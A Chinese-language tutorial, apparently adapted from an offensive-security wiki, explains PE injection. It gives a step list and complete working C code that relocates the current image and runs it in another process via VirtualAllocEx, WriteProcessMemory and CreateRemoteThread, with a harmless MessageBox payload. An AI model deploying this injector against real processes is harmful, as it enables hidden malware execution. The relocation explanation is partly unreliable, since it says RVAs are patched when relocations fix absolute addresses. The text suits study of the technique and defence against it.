进程注入之Portable Executable Injection,PE注入的核心是创建远程线程,注意重定位表修复
PE(Portable Executable)注入是一种常见的代码注入技术,主要用于在目标进程中执行恶意代码。以下是PE注入的基本流程:
1. 获取当前PE映像的基地址:使用GetModuleHandle(NULL)函数获取当前PE映像(即要注入的代码)的基地址。
2. 复制PE映像:使用VirtualAlloc函数在当前进程中分配一块新的内存,然后使用memcpy函数将当前PE映像复制到新分配的内存中。
3. 打开目标进程:使用OpenProcess函数打开目标进程。目标进程是我们要注入代码的进程。
4. 在目标进程中分配内存:使用VirtualAllocEx函数在目标进程中分配一块新的内存。这块内存用于存放我们要注入的代码。
5. 计算基地址的偏移量:计算新分配的内存(在目标进程中)和当前PE映像的基地址之间的偏移量。
6. 重定位PE映像:根据计算出的偏移量,修改PE映像中的所有相对虚拟地址(RVA)。这一步是必要的,因为PE映像中的代码和数据通常都是基于相对虚拟地址的。
7. 将PE映像写入目标进程:使用WriteProcessMemory函数将重定位后的PE映像写入到目标进程的内存中。
8. 在目标进程中执行PE映像:使用CreateRemoteThread函数在目标进程中创建一个新线程,然后在新线程中执行PE映像的入口点函数。
以上就是PE注入的基本流程。需要注意的是,PE注入通常需要管理员权限,因为它需要打开其他进程并在其中执行代码。此外,PE注入也可能被防病毒软件检测到,因为它是一种常见的恶意代码注入技术。
#include <stdio.h> #include <Windows.h> typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; DWORD InjectionEntryPoint() { CHAR moduleName[128] = ""; GetModuleFileNameA(NULL, moduleName, sizeof(moduleName)); MessageBoxA(NULL, moduleName, "Obligatory PE Injection", NULL); return 0; } int main() { int pid = 14940; // Get current image's base address PVOID imageBase = GetModuleHandle(NULL); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew); // Allocate a new memory block and copy the current PE image to this new memory block PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE); memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage); // Open the target process - this is process we will be injecting this PE into HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, pid); // Allote a new memory block in the target process. This is where we will be injecting this PE PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Calculate delta between addresses of where the image will be located in the target process and where it's located currently DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase; // Relocate localImage, to ensure that it will have correct addresses once its in the target process PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); DWORD relocationEntriesCount = 0; PDWORD_PTR patchedAddress; PBASE_RELOCATION_ENTRY relocationRVA = NULL; while (relocationTable->SizeOfBlock > 0) { relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT); relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1); for (short i = 0; i < relocationEntriesCount; i++) { if (relocationRVA[i].Offset) { patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset); *patchedAddress += deltaImageBase; } } relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock); } // Write the relocated localImage into the target process WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL); // Start the injected PE inside the target process CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + deltaImageBase), NULL, 0, NULL); return 0; }
为什么需要重定位PE映像?
PE映像需要重定位是因为PE映像中的代码和数据通常都是基于相对虚拟地址(RVA)的。当PE映像被加载到不同的地址时,这些相对虚拟地址就会变得无效。因此,我们需要根据新的基地址重新计算这些相对虚拟地址,这个过程就叫做重定位。
具体的做法是,首先计算新旧基地址之间的偏移量,然后修改PE映像中的所有相对虚拟地址。这些相对虚拟地址通常存储在PE映像的重定位表中。
在你的代码中,重定位的过程如下:
这段代码首先计算了新旧基地址之间的偏移量deltaImageBase,然后遍历了PE映像的重定位表relocationTable,对每个需要重定位的地址进行了修正。修正的方法是将原来的地址加上偏移量deltaImageBase。这样,当PE映像被加载到新的地址时,所有的相对虚拟地址都会指向正确的位置。
补充:
在PE文件的重定位表中,除了全局变量的地址,还可能包含以下内容:
1. 函数地址:这包括全局函数和静态函数的地址。当PE映像被加载到新的地址时,这些函数的地址也需要进行重定位。
2. 指向数据的指针:这包括全局指针和静态指针。如果这些指针指向的数据在PE映像中,那么当PE映像被加载到新的地址时,这些指针也需要进行重定位。
3. 跳转和调用指令的目标地址:这包括跳转指令(如JMP和JZ)和调用指令(如CALL)的目标地址。当PE映像被加载到新的地址时,这些指令的目标地址也需要进行重定位。
总的来说,重定位表中包含了所有需要在加载时进行重定位的地址。这些地址通常是全局变量、函数、指针和指令的目标地址。
因为PE被注入到其他进程中,肯定是要修复重定位表的,因为这些全局变量、函数的地址啥的肯定都变了!这就是重定位PE映像的原因!
至于创建远程线程,之前的文章已经讲过了!可以参考,不再赘述。
参考:https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes